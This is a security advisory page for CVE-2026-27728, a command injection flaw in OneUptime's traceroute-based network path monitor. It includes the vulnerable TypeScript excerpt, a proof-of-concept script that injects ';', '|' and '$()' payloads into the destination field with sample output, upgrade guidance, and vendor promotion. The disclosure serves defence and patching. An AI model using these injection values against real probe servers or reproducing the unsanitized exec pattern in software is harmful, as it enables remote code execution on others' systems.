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CRITICAL severity

CVE-2026-27728 @oneuptime/common

CRITICALFix: OneUptime/oneuptime@f2cce35

CVE-2026-27728 is a critical-severity (CVSS 9.9) OS Command Injection vulnerability in @oneuptime/common. A fix is available for @oneuptime/common — see the affected versions and patch details below.

OneUptime: OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec()

Also known asGHSA-jmhp-5558-qxh5
Published
Feb 25, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
1.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs77th percentile — riskier than 77% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-27728 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@oneuptime/commonnpm
2Kdownloads / week

Description

Summary

An OS command injection vulnerability in NetworkPathMonitor.performTraceroute() allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field.

Details

The vulnerability exists in Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts, lines 149–191.

The performTraceroute() method constructs a shell command by directly interpolating the user-controlled destination parameter into a string template, then executes it via child_process.exec() (wrapped through promisify):

// Line 13 — exec imported from child_process
import { exec } from "child_process";

// Line 15-17 — promisified into execAsync
const execAsync = promisify(exec);

// Lines 149-191 — destination is never sanitized
private static async performTraceroute(
    destination: string,  // ← attacker-controlled
    maxHops: number,
    timeout: number,
): Promise<TraceRoute> {
    // ...
    let command: string;
    if (isWindows) {
        command = `tracert -h ${maxHops} -w ${...} ${destination}`;
    } else if (isMac) {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    } else {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    }

    const tracePromise = execAsync(command);  // ← shell execution

The destination value originates from the public trace() method (line 31), which accepts URL | Hostname | IPv4 | IPv6 | string types. When a raw string is passed (line 47: hostAddress = destination), no validation or sanitization is performed before it reaches performTraceroute().

child_process.exec() spawns a shell (/bin/sh), so any shell metacharacters (;, |, $(), ` `, &&, ||, \n) in destination will be interpreted, allowing full command injection.

PoC

  1. poc.cjs
/**
 * PoC: OS Command Injection in OneUptime NetworkPathMonitor
 *
 * Replicates the exact vulnerable code path from
 * Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts:149-191
 */

const { exec } = require("child_process");
const { promisify } = require("util");
const execAsync = promisify(exec);

async function performTraceroute_VULNERABLE(destination, maxHops, timeout) {
    const isMac = process.platform === "darwin";
    const isWindows = process.platform === "win32";

    let command;
    if (isWindows) {
        command = `tracert -h ${maxHops} -w ${Math.ceil(timeout / 1000) * 1000} ${destination}`;
    } else if (isMac) {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    } else {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    }

    console.log(`[VULN] Constructed command: ${command}`);

    try {
        const { stdout, stderr } = await execAsync(command);
        return { stdout, stderr };
    } catch (err) {
        return { stdout: err.stdout || "", stderr: err.stderr || err.message };
    }
}

async function runPoC() {
    console.log("=== Payload 1: Semicolon chaining (;) ===");
    console.log("  destination = '127.0.0.1; id'\n");
    const r1 = await performTraceroute_VULNERABLE("127.0.0.1; id", 1, 5000);
    console.log("[stdout]:", r1.stdout);

    console.log("\n=== Payload 2: Pipe injection (|) ===");
    console.log("  destination = '127.0.0.1 | whoami'\n");
    const r2 = await performTraceroute_VULNERABLE("127.0.0.1 | whoami", 1, 5000);
    console.log("[stdout]:", r2.stdout);

    console.log("\n=== Payload 3: Subshell execution $() ===");
    console.log("  destination = '127.0.0.1$(echo INJECTED)'\n");
    const r3 = await performTraceroute_VULNERABLE("127.0.0.1$(echo INJECTED)", 1, 5000);
    console.log("[stderr]:", r3.stderr);
}

runPoC().catch(console.error);
  1. Run the PoC:
node poc.cjs
  1. Expected output (confirmed on macOS with Node.js v25.2.1):
=== Payload 1: Semicolon chaining (;) ===
  destination = '127.0.0.1; id'

[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1; id
[stdout]:  1  localhost (127.0.0.1)  0.215 ms  0.076 ms  0.055 ms
uid=501(dxleryt) gid=20(staff) groups=20(staff),12(everyone)...

=== Payload 2: Pipe injection (|) ===
  destination = '127.0.0.1 | whoami'

[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1 | whoami
[stdout]: dxleryt

=== Payload 3: Subshell execution $() ===
  destination = '127.0.0.1$(echo INJECTED)'

[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1$(echo INJECTED)
[stderr]: traceroute: unknown host 127.0.0.1INJECTED

The id and whoami commands execute successfully, proving arbitrary command execution. The subshell payload proves inline shell evaluation — $(echo INJECTED) is evaluated and appended to the hostname.

Impact

Vulnerability type: OS Command Injection (CWE-78)

Who is impacted: Any authenticated user with the ability to create or edit a network path monitor in a OneUptime project can execute arbitrary operating system commands on the Probe server(s). In a multi-tenant SaaS deployment, this allows a malicious tenant to:

  • Execute arbitrary commands as the Probe service user (Remote Code Execution)
  • Read sensitive files from the Probe server (e.g., environment variables, credentials, service account tokens)
  • Pivot to internal services accessible from the Probe's network position
  • Compromise other tenants' monitoring data if Probes are shared across tenants
  • Establish persistent backdoors (reverse shells, cron jobs, SSH keys)

Note: The NetworkPathMonitor class is fully implemented and exported but not yet wired into the monitor execution pipeline (no callers import it). The vulnerability will become exploitable once this monitor type is integrated. The code is present in the current codebase and ready to be activated.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@oneuptime/commonall versions10.0.7npm install @oneuptime/common@10.0.7

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @oneuptime/common, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @oneuptime/common to 10.0.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27728 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-27728 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-27728. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary An OS command injection vulnerability in `NetworkPathMonitor.performTraceroute()` allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field. ## Details The vulnerability exists in [`Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts`](Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts), lines 149–191. The `performTraceroute()` method constructs a shell command by directly interpolating the user-controlled `destination` parameter into a string template, th
O3 Security · Impact-Aware SCA

Is CVE-2026-27728 in your dependencies?

O3 Security finds CVE-2026-27728 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-27728: RCE (Critical 9.9) | O3 Security